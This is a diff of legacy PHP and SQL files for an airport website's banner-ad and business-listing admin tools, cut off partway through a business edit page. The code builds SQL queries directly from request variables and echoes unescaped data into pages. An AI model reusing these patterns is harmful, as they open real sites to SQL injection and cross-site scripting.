--- /dev/null
+Options +FollowSymLinks
+#ErrorDocument 404 /sitemap.php?nf=1
+RewriteEngine On
+#RewriteBase /~matrix/ws1/www.pellstonairport.com/
+RewriteRule ^members/$ index\.php?catid=1000 [L]
+RewriteRule ^.*-([0-9]*)/([0-9]*)/([0-9]*)/$ index\.php?catid=$1&memb_type=$2&id=$3 [L]
+RewriteRule ^.*-([0-9]*)/([0-9]*)/$ index\.php?catid=$1&memb_type=$2 [L]
+RewriteRule ^.*-([0-9]*)/(.*)/([0-9]*)/$ index\.php?catid=$1&city=$2&id=$3 [L]
+RewriteRule ^.*-([0-9]*)/(.*)/$ index\.php?catid=$1&city=$2 [L]
+RewriteRule ^.*-8/(.*)$ index\.php?catid=8&city=Transportation&id=$1 [L]
+RewriteRule ^.*-18/(.*)$ index\.php?catid=18&city=Aircraft+Charter&id=$1 [L]
+RewriteRule ^.*-([0-9]*)/(.*)$ index\.php?catid=$1&$2 [L]
+RewriteRule ^.*-([0-9]*)/$ index\.php?catid=$1
+RewriteRule site-map sitemap.php
--- /dev/null
+<?php
+/*
+ * GLM Standard Site Monitoring Target
+ *
+ *
+ */
+
+ // Set these parameters for each site
+
+define( 'HOST', 'ds4.gaslightmedia.com' );
+define( 'USER', 'nobody' );
+define( 'DBNAME', 'pellstonairport' );
+
+ // End of parameters to set for each site
+
+include('/home/httpd/templates/Global_site_check.phtml')
+
+?>
+
--- /dev/null
+AddCharset UTF-8 .html
+RewriteEngine Off
--- /dev/null
+-- $Id: bannerad.sql,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+
+CREATE TABLE "banner" (
+ "id" SERIAL,
+ "image" text,
+ "description" text,
+ "url" text,
+ "sdate" date,
+ "edate" date,
+ "impressions" int4,
+ "active" bool,
+ "clicks" int4,
+ "member_id" int4
+);
+
+REVOKE ALL on "banner" from PUBLIC;
+GRANT ALL on "banner" to nobody;
+REVOKE ALL on "banner_id_seq" from PUBLIC;
+GRANT ALL on "banner_id_seq" to nobody;
+
+CREATE UNIQUE INDEX banner_id_indx ON banner(id);
+CREATE INDEX banner_member_id_indx ON banner(member_id);
+CREATE INDEX banner_active_indx ON banner(active);
+CREATE INDEX banner_edate_indx ON banner(edate);
--- /dev/null
+<?
+// $Id: del_banner.phtml,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+include("../../setup.phtml");
+html_header("administration", "Delete Banner", "");
+
+$dbd = db_connect();
+if(!$dbd)
+ html_error(DB_ERROR_MSG, 1);
+$qs = "SELECT image,url
+ FROM banner
+ WHERE id = $id";
+
+if(!$res = db_exec($dbd,$qs)) html_error("failed ->".$qs,1);
+$data = db_fetch_array($res,0,PGSQL_ASSOC);
+$image = $data[image];
+$url = $data[url];
+
+$qs = "DELETE FROM banner
+ WHERE id = $id";
+
+if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+@unlink(ORIGINAL_PATH."/".$image);
+@unlink(RESIZED_PATH.$image);
+@unlink(THUMB_PATH.$image);
+@unlink(MIDSIZED_PATH.$image);
+
+?>
+<script lang="javascript">
+document.onload=window.opener.location.reload(1);
+</script>
+<h3 align="center">
+ Banner: <?echo "<br>ID -- $id<br>$url"?><br> has been removed
+</h3>
+<center><a href="" onClick="window.close();return(false);">Close This Window</a></center>
+<?
--- /dev/null
+<?
+// $Id: edit_banner.phtml,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+include("../../setup.phtml");
+
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG, 1);
+
+if(isset($id)) {
+$qs = "SET DATESTYLE TO 'SQL, US';
+ SELECT id,member_id,url,description,sdate,edate,active,
+ clicks,impressions,image
+ FROM banner
+ WHERE id = $id";
+
+if(!$res = db_exec($dbd, $qs)) html_error(DB_ERROR_MSG,1);
+
+$row = db_fetch_array($res,$i, PGSQL_ASSOC);
+}
+else {
+$sdate = date("m/d/Y");
+$edate = date("m/d/Y",mktime(0,0,0,date("m"),date("d")+7,date("Y")));
+ $row = array (
+ "id" => "",
+ "member_id" => "",
+ "url" => "",
+ "description" => "",
+ "sdate" => $sdate,
+ "edate" => $edate,
+ "active" => "t",
+ "clicks" => "0",
+ "impressions" => "0",
+ "image" => ""
+ );
+}
+
+
+
+if(isset($id))
+ $type = "key=edit";
+else
+ $type = "key=add";
+top("Banner Ads (Edit)", "help/banner.phtml?$type");
+
+$lnav = array(
+ "Add A New Banner Ad" => "edit_banner.phtml",
+ "List Banners" => "list_banner.phtml"
+ );
+html_nav_table($lnav, 2);
+echo "<table cellspacing=0 cellpadding=4 width=400 align=center
+ border=0 bgcolor=\"#c0c0c0\">";
+
+
+ form_header("update_banner.phtml?".SID,"POST","");
+
+foreach($row as $key=>$value) {
+ switch($key) {
+
+ case "id":
+ echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+ break;
+
+ case "member_id":
+ echo "<tr><td class=\"navtd\" align=\"right\">Member ID:</td>";
+ text_box("member_id",$value);
+ echo "</tr>";
+ break;
+
+ case "url":
+ echo "<tr><td class=\"navtd\" align=\"right\">URL:</td>";
+ text_box("url",$value);
+ echo "</tr>";
+ break;
+
+ case "sdate":
+ echo "<tr><td class=\"navtd\" align=\"right\">Start Date:</td>";
+ text_box("sdate",$value);
+ echo "</tr>";
+ break;
+
+ case "edate":
+ echo "<tr><td class=\"navtd\" align=\"right\">End Date:</td>";
+ text_box("edate",$value);
+ echo "</tr>";
+ break;
+
+ case "active":
+ echo "<tr><td class=\"navtd\" align=\"right\">Active:</td>";
+ echo "<td><select name=\"active\">";
+ echo "<option value=\"t\"";
+ if($value == "t") {
+ echo " SELECTED";
+ }
+ echo ">On";
+ echo "<option value=\"f\"";
+ if($value == 'f') {
+ echo " SELECTED";
+ }
+ echo ">Off";
+ echo "</select></td>";
+ echo "</tr>";
+ break;
+
+ case "clicks":
+ echo "<tr><td class=\"navtd\" align=\"right\">Clicks:</td>";
+ text_box("clicks",$value);
+ echo "</tr>";
+ break;
+
+ case "impressions":
+ echo "<tr><td class=\"navtd\" align=\"right\">Impressions:</td>";
+ text_box("impressions",$value);
+ echo "</tr>";
+ break;
+
+ case "description":
+ echo "<tr><td class=\"navtd\" align=\"right\">Description:</td>";
+ text_area("description",$value);
+ echo "</tr>";
+ break;
+
+ case "image":
+ ?>
+ <tr></tr>
+ <?
+ echo "<input type=\"hidden\" name=\"oldimage\" value=\"$value\">";
+ if($value != "") {
+ echo "<tr><td class=\"navtd2\" align=\"right\">Current Image:</td>";
+ echo "<td><img src=\"".MIDSIZED."$value\">
+ </td>
+ </tr>
+ <tr>
+ <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+ <td>
+ <input type=\"radio\" name=\"delete\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td class=\"navtd\" align=\"right\">New Image:</td>";
+ echo "<td><input type=\"file\" name=\"image\"></td>";
+ echo "</tr>";
+ break;
+
+ default:
+ html_error("need case for ->".$key,1);
+ break;
+ }
+}
+if(isset($id)) {
+ form_footer("Update",1,2);
+}
+else {
+ form_footer("Insert","",2);
+}
+echo "</table>";
+
+footer();
+?>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Banner Ads Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Banner Ads</h4>
+
+<P>
+This page lists the existing Banner Ads.
+</p>
+<p>
+<b>Add A New Banner Ad</b>
+</p>
+<p>This link will allow you to add new Banner Ad</p>
+<p>
+<b>List Banner Ads</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Banner Ad</p>
+<p>
+<b>[Delete]</b>
+</p>
+<p>This link will let you Delete an existing Banner Ad</p>
+<p>
+<b>ON/OFF</b>
+</p>
+<p>There is either a green or red ball in line with each existing Banner Ad.
+If the ball is green, the Banner Ad is currently visable on the front end of your
+web site. If the ball is red, the banner ad is not visable on the front end of your
+web site. You can easily toggle Banner Ad visability by clicking on the ball. If the
+ball was red, and you clicked on it, it should turn green.</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit an Banner Ad</h4>
+<P>
+This page is for editing and modifying an existing Banner Ad in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Banner Ads" page.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site url you want the users to go to when they click the
+banner. Don't enter in http://.
+</p>
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Banner Ad,
+in the Detailed output of the Banner Ad</p>
+<b>Start Date:</b>
+</p>
+<p>This is date upon which the Banner Ad will begin. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>End Date:</b>
+</p>
+<p>This is date upon which the Banner Ad will end. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>Active:</b>
+</p>
+<p>This Select Box will determine whether or not the Banner Ad is viewable
+on the front end of you web site.
+The Default value is "Yes" meaning that the banner ad will be visable.
+</p>
+<p>
+<b>Click and Impressions:</b>
+</p>
+<p>These are the counters for banner ads</p>
+<p>
+<b>Picture for Banner Ad:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Banner Ad. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Banner Ad,
+you can click "Submit Query." This will update the information about the
+Banner Ad in the database.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">ADD an Banner Ad</h4>
+<P>
+This page is for Adding Banner Ads in the database.
+When form is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Banner Ads" page.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site url you want the users to go to when they click the
+banner. Don't enter in http://.
+</p>
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Banner Ad,
+in the Detailed output of the Banner Ad</p>
+<b>Start Date:</b>
+</p>
+<p>This is date upon which the Banner Ad will begin. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>End Date:</b>
+</p>
+<p>This is date upon which the Banner Ad will end. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>Active:</b>
+</p>
+<p>This Select Box will determine whether or not the Banner Ad is viewable
+on the front end of you web site.
+The Default value is "Yes" meaning that the banner ad will be visable.
+</p>
+<p>
+<b>Click and Impressions:</b>
+</p>
+<p>These are the counters for banner ads</p>
+<p>
+<b>Picture for Banner Ad:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Banner Ad. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Banner Ad,
+you can click "Submit Query." This will update the information about the
+Banner Ad in the database.
+</p>
+<?
+ break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<?
+//$Id: index.phtml,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+header("Location: list_banner.phtml");
+?>
--- /dev/null
+<?
+// $Id: list_banner.phtml,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+include("../../setup.phtml");
+
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,1);
+
+if(isset($active)) {
+ if($active == "t")
+ $nv = "f";
+ else
+ $nv = "t";
+
+ $qs = "UPDATE banner
+ SET active='$nv'
+ WHERE id='$id'
+ AND edate >= CURRENT_DATE";
+
+ if(!db_exec($dbd, $qs))
+ html_error(DB_ERROR_MSG, 1);
+}
+$qs = "SET DATESTYLE TO 'SQL, US';
+ SELECT id,url,image,impressions,clicks,active,sdate,edate
+ FROM banner
+ ORDER BY sdate DESC,edate DESC";
+
+
+if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+top("Banner Ads", "help/banner.phtml?key=list");
+$lnav = array(
+ "Add A New Banner Ad" => "edit_banner.phtml",
+ "List Banners" => "list_banner.phtml"
+ );
+html_nav_table($lnav, 2);
+?>
+<script lang="javascript">
+function ex(msg) {
+ if(msg) {
+ var amsg = 'The following event(s) are expired,\n';
+ amsg += 'and have been marked as OFF:\n';
+ amsg += msg;
+ amsg += '\nThese may now be deleted\n';
+ alert(amsg);
+ }
+}
+</script>
+<?
+/* extra hoo-haa to make the event visible=no if date has passed */
+$qs = "SELECT id,url
+ FROM banner
+ WHERE edate < CURRENT_DATE
+ AND edate IS NOT NULL";
+
+$res2 = db_exec($dbd, $qs);
+if(!$res2)
+ html_error(DB_ERROR_MSG, 1);
+for($i = 0; $i < db_numrows($res2); $i++) {
+ $row = db_fetch_array($res2, $i, PGSQL_ASSOC);
+ if(!$row[id])
+ html_error("Empty Row! ".DB_ERROR_MSG, 1);
+ $qs = "UPDATE banner
+ SET active='f'
+ WHERE id='$row[id]'";
+
+ if(!db_exec($dbd, $qs))
+ html_error(DB_ERROR_MSG, 1);
+ $msg .= "- $row[url]\\n";
+ unset($row);
+}
+?>
+<script lang="javascript">ex('<?echo $msg?>');</script>
+<?
+db_freeresult($res2);
+/* end hoo-haa */
+echo "<table bgcolor=\"#c0c0c0\" align=center width=700 cellspacing=0 cellpadding=4 border=0>";
+?>
+<script src="<?echo URL_BASE."admin/msg.js"?>"></script>
+<tr>
+<TH WIDTH=100 ALIGN=left BGCOLOR="#000000">
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Function
+ </FONT>
+</TH>
+<TH ALIGN=left BGCOLOR="#000000">
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ On/Off
+ </FONT>
+</TH>
+<TH ALIGN=left BGCOLOR="#000000">
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ URL
+ </FONT>
+</TH>
+<TH ALIGN=left BGCOLOR="#000000">
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Counters
+ </FONT>
+</TH>
+<TH ALIGN=left BGCOLOR="#000000">
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Start Date
+ </FONT>
+</TH>
+<TH ALIGN=left BGCOLOR="#000000">
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ End Date
+ </FONT>
+</TH>
+<TH ALIGN=left BGCOLOR="#000000">
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Image
+ </FONT>
+</TH>
+</tr>
+
+<?
+$c = "#cccccc";
+for($i = 0; $i < db_numrows($res); $i++) {
+ $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+ if(!$row[id])
+ html_error(DB_ERROR_MSG,1);
+ if($c == "#cccccc")
+ $c = "#b0b0b0";
+ else
+ $c = "#cccccc";
+ ?>
+<tr bgcolor="<?echo $c?>">
+ <td class="navtd2" width=85 NOWRAP>
+ <a href="edit_banner.phtml?id=<?echo $row[id]?>">[Edit]</a>
+ <script lang="javascript">
+ var o<?echo $i?> = new Object();
+ o<?echo $i?>.msg = "You are about to delete this listing!";
+ o<?echo $i?>.url = "del_banner.phtml?id=<?echo
+$row[id]?>";
+ o<?echo $i?>.popup = '1';
+ o<?echo $i?>.popup.name = 'DeleteBanner';
+ o<?echo $i?>.width = 630;
+ o<?echo $i?>.height = 300;
+ </script>
+ <a href="" onClick="
+ glm_confirm(o<?echo $i?>);
+ return(false);
+ ">[Delete]</a>
+ </td>
+ <td align="center" width=10>
+ <a href="<?echo $PHP_SELF."?active=$row[active]&id=$row[id]"?>"><?
+ if($row[active] == "t")
+ echo "<img src=\"".URL_BASE
+ ."images/grnball.gif\" alt=\"On\" border=0></a>";
+ else
+ echo "<img src=\"".URL_BASE
+ ."images/redball.gif\" alt=\"Off\" border=0></a>";
+
+ ?>
+ </td>
+ <td class="navtd2" width=150><?echo $row[url]?></td>
+ <td class="navtd2" width=150>
+ Impressions:<?echo $row[impressions]?><br>
+ Clicks:<?echo $row[clicks]?>
+ </td>
+ <td class="navtd2" width=150>
+ <?echo $row[sdate]?>
+ </td>
+ <td class="navtd2" width=150>
+ <?echo $row[edate]?>
+ </td>
+<?
+if($row[image] != "") {
+?>
+<td class="navtd2" width=150><img src="<?echo MIDSIZED.$row[image]?>"></td>
+<?
+}
+else {
+?>
+<td class="navtd2" width=150> </td>
+<?
+}
+?>
+</tr>
+ <?
+ }
+echo "</table>\n";
+footer();
+?>
--- /dev/null
+<?php
+// $Id: update_banner.phtml,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+include("../../setup.phtml");
+
+http_strip($url);
+switch($Command) {
+
+ case "Update":
+ if($image == "none" || $image == "") {
+ $image_name = $oldimage;
+ }
+ else {
+ $image_name = process_image($image,$image_name);
+ }
+
+ if($delete == "1") {
+
+ @unlink(ORIGINAL_PATH.'/'.$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+
+ if($image == "none" || $image == "") {
+ $image_name = "";
+ }
+ }
+
+
+ $qs = "UPDATE banner SET
+ member_id = ".((is_numeric($member_id))?$member_id:'NULL').",
+ url = '$url',
+ sdate = '$sdate',
+ edate = '$edate',
+ active = '$active',
+ clicks = '$clicks',
+ impressions = '$impressions',
+ image = '$image_name',
+ description = '$description'
+ WHERE id = $id;";
+
+ if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+ $location = "list_banner.phtml?".SID;
+
+ break;
+
+ case "Insert":
+
+ if($image == "none" || $image == "") {
+ $image_name = $oldimage;
+ }
+ else {
+ $image_name = process_image($image,$image_name);
+ }
+
+ http_strip($url);
+
+ $qs = "INSERT INTO banner
+ (member_id,url,sdate,edate,active,clicks,
+ impressions, image,description)
+ VALUES
+ (".((is_numeric($member_id))?$member_id:"NULL").",'$url','$sdate','$edate','$active',
+ '$clicks','$impressions','$image_name','$description')";
+
+ if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+ $location = "list_banner.phtml?".SID;
+
+ break;
+
+ case "Delete":
+ $qs = "DELETE FROM banner
+ WHERE id = $id";
+
+ if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+
+ $location = "list_banner.phtml?".SID;
+ break;
+
+ case "Cancel":
+ $location = "list_banner.phtml?".SID;
+ break;
+
+ default:
+ html_error("incorrect value for Command",1);
+ break;
+ }
+header("Location: $location");
+?>
--- /dev/null
+--
+-- PostgreSQL database dump
+--
+
+SET client_encoding = 'SQL_ASCII';
+SET check_function_bodies = false;
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 4 (OID 2200)
+-- Name: public; Type: ACL; Schema: -; Owner: postgres
+--
+
+REVOKE ALL ON SCHEMA public FROM PUBLIC;
+GRANT ALL ON SCHEMA public TO PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+SET search_path = public, pg_catalog;
+
+--
+-- TOC entry 5 (OID 17145)
+-- Name: bus; Type: TABLE; Schema: public; Owner: postgres
+--
+
+CREATE TABLE bus (
+ id serial NOT NULL,
+ name text,
+ description text,
+ description2 text,
+ description3 text,
+ image text,
+ imagename text,
+ image2 text,
+ image2name text,
+ image3 text,
+ image3name text,
+ urlname text,
+ url text,
+ address text,
+ city text,
+ state text,
+ zip text,
+ phone text,
+ fax text,
+ email text,
+ pos integer,
+ file text,
+ filename text,
+ file2 text,
+ file2name text,
+ file3 text,
+ file3name text,
+ contactname text
+);
+
+
+--
+-- TOC entry 6 (OID 17145)
+-- Name: bus; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 11 (OID 17145)
+-- Name: bus_id_seq; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus_id_seq FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 7 (OID 17153)
+-- Name: bus_category; Type: TABLE; Schema: public; Owner: postgres
+--
+
+CREATE TABLE bus_category (
+ id serial NOT NULL,
+ parent integer,
+ category text,
+ intro text,
+ description text,
+ image text,
+ imagename text,
+ active boolean,
+ pos integer,
+ keyword text,
+ "template" integer
+);
+
+
+--
+-- TOC entry 8 (OID 17153)
+-- Name: bus_category; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus_category FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 12 (OID 17153)
+-- Name: bus_category_id_seq; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus_category_id_seq FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 9 (OID 17161)
+-- Name: bus_category_bus; Type: TABLE; Schema: public; Owner: postgres
+--
+
+CREATE TABLE bus_category_bus (
+ id serial NOT NULL,
+ busid integer,
+ catid integer,
+ pos integer
+);
+
+
+--
+-- TOC entry 10 (OID 17161)
+-- Name: bus_category_bus; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus_category_bus FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 13 (OID 17161)
+-- Name: bus_category_bus_id_seq; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE bus_category_bus_id_seq FROM PUBLIC;
+
+
+SET SESSION AUTHORIZATION 'postgres';
+
+--
+-- TOC entry 14 (OID 17164)
+-- Name: bus_id_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE UNIQUE INDEX bus_id_indx ON bus USING btree (id);
+
+
+--
+-- TOC entry 16 (OID 17165)
+-- Name: bus_category_id_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE UNIQUE INDEX bus_category_id_indx ON bus_category USING btree (id);
+
+
+--
+-- TOC entry 18 (OID 17166)
+-- Name: bus_category_parent_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_parent_indx ON bus_category USING btree (parent);
+
+
+--
+-- TOC entry 20 (OID 17167)
+-- Name: bus_category_pos_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_pos_indx ON bus_category USING btree (pos);
+
+
+--
+-- TOC entry 17 (OID 17168)
+-- Name: bus_category_keyword_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_keyword_indx ON bus_category USING btree (keyword);
+
+
+--
+-- TOC entry 21 (OID 17169)
+-- Name: bus_category_template_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_template_indx ON bus_category USING btree ("template");
+
+
+--
+-- TOC entry 24 (OID 17170)
+-- Name: bus_category_bus_id_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE UNIQUE INDEX bus_category_bus_id_indx ON bus_category_bus USING btree (id);
+
+
+--
+-- TOC entry 22 (OID 17171)
+-- Name: bus_category_bus_busid_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_bus_busid_indx ON bus_category_bus USING btree (busid);
+
+
+--
+-- TOC entry 23 (OID 17172)
+-- Name: bus_category_bus_catid_indx; Type: INDEX; Schema: public; Owner: postgres
+--
+
+CREATE INDEX bus_category_bus_catid_indx ON bus_category_bus USING btree (catid);
+
+
+--
+-- TOC entry 19 (OID 18565)
+-- Name: bus_category_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY bus_category
+ ADD CONSTRAINT bus_category_pkey PRIMARY KEY (id);
+
+
+--
+-- TOC entry 15 (OID 18567)
+-- Name: bus_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY bus
+ ADD CONSTRAINT bus_pkey PRIMARY KEY (id);
+
+
+--
+-- TOC entry 25 (OID 18569)
+-- Name: bus_category_bus_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY bus_category_bus
+ ADD CONSTRAINT bus_category_bus_pkey PRIMARY KEY (id);
+
+--
+-- TOC entry 27 (OID 18575)
+-- Name: $1; Type: FK CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY bus_category_bus
+ ADD CONSTRAINT "$1" FOREIGN KEY (catid) REFERENCES bus_category(id) ON DELETE CASCADE;
+
+
+--
+-- TOC entry 28 (OID 18579)
+-- Name: $2; Type: FK CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY bus_category_bus
+ ADD CONSTRAINT "$2" FOREIGN KEY (busid) REFERENCES bus(id) ON DELETE CASCADE;
+
+
+--
+-- TOC entry 3 (OID 2200)
+-- Name: SCHEMA public; Type: COMMENT; Schema: -; Owner: postgres
+--
+
+COMMENT ON SCHEMA public IS 'Standard public schema';
+
+REVOKE ALL on "bus" from PUBLIC;
+GRANT ALL on "bus" to "nobody";
+GRANT ALL on "bus" to "postgres";
+
+REVOKE ALL on "bus_id_seq" from PUBLIC;
+GRANT ALL on "bus_id_seq" to "nobody";
+GRANT ALL on "bus_id_seq" to "postgres";
+
+REVOKE ALL on "bus_category" from PUBLIC;
+GRANT ALL on "bus_category" to "nobody";
+GRANT ALL on "bus_category" to "postgres";
+
+REVOKE ALL on "bus_category_id_seq" from PUBLIC;
+GRANT ALL on "bus_category_id_seq" to "nobody";
+GRANT ALL on "bus_category_id_seq" to "postgres";
+
+REVOKE ALL on "bus_category_bus" from PUBLIC;
+GRANT ALL on "bus_category_bus" to "nobody";
+GRANT ALL on "bus_category_bus" to "postgres";
+
+REVOKE ALL on "bus_category_bus_id_seq" from PUBLIC;
+GRANT ALL on "bus_category_bus_id_seq" to "nobody";
+GRANT ALL on "bus_category_bus_id_seq" to "postgres";
+
+INSERT INTO bus_category (id,category,parent,pos,active) VALUES (nextval('bus_category_id_seq'),'Home',0,1,'t');
+
--- /dev/null
+<?php
+//$Id: edit_bus.phtml,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+include_once("../../setup.phtml");
+include_once("toolbox_setup.inc");
+if(isset($id))
+{
+ $qs = "SELECT b.*
+ FROM bus b,bus_category_bus bcb,bus_category bc
+ WHERE b.id = $id
+ AND bcb.busid = $id
+ AND bcb.busid = b.id
+ AND bcb.catid = bc.id";
+
+ if(!$res = $DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ $row = $DB->db_fetch_array($res,0, PGSQL_ASSOC);
+ if(!$row[id])
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+}
+else
+{
+ $row = array (
+ "name" => "",
+ "catid" => $catid,
+ "address" => "",
+ "city" => "",
+ "state" => "",
+ "zip" => "",
+ "phone" => "",
+ "fax" => "",
+ "email" => "",
+ "url" => "",
+ "description" => "",
+ "image" => "",
+ "description2" => "",
+ "image2" => "",
+ "description3" => "",
+ "image3" => "",
+ "file" => "",
+ "file2" => "",
+ "file3" => ""
+ );
+}
+
+top2("Updatable Paragraphs (Add/Edit)", HELP_BASE."bus.phtml?key=edit","ToolboxUserGuide_1.0");
+
+$lnav["List Paragraphs"] = "list_bus.phtml?catid=$catid";
+html_nav_table($lnav, 3);
+
+$qs = "SELECT id,category
+FROM bus_category
+ORDER BY parent,pos";
+
+if(!$altcats = $DB->db_exec($qs))
+html_error(DB_ERROR_MSG.$qs,0);
+
+?>
+<script>
+ function mySubmit()
+ {
+ var check = 0;
+ for( i = 0; i < <?echo pg_numrows($altcats);?>;i++ )
+ {
+ if( document.myform.catid.options[i].selected )
+ {
+ check = 1;
+ document.myform.category.value += ':' + document.myform.catid.options[i].value;
+ }
+ }
+ if( check == 0 )
+ {
+ alert('Must select one Page from the list!');
+ return(false);
+ }
+ }
+</script>
+<?php
+ if(MULTIPLE_CAT)
+ {
+ ?>
+
+<form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data" onSubmit="return(mySubmit(this));">
+ <?
+}
+else
+{
+ ?>
+
+<form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data">
+ <?
+}
+ echo '<table id="admin-edit-table">';
+
+ echo "<tr><th colspan=2>Pages:</th></tr>";
+ if(isset($id) && $id != "") {
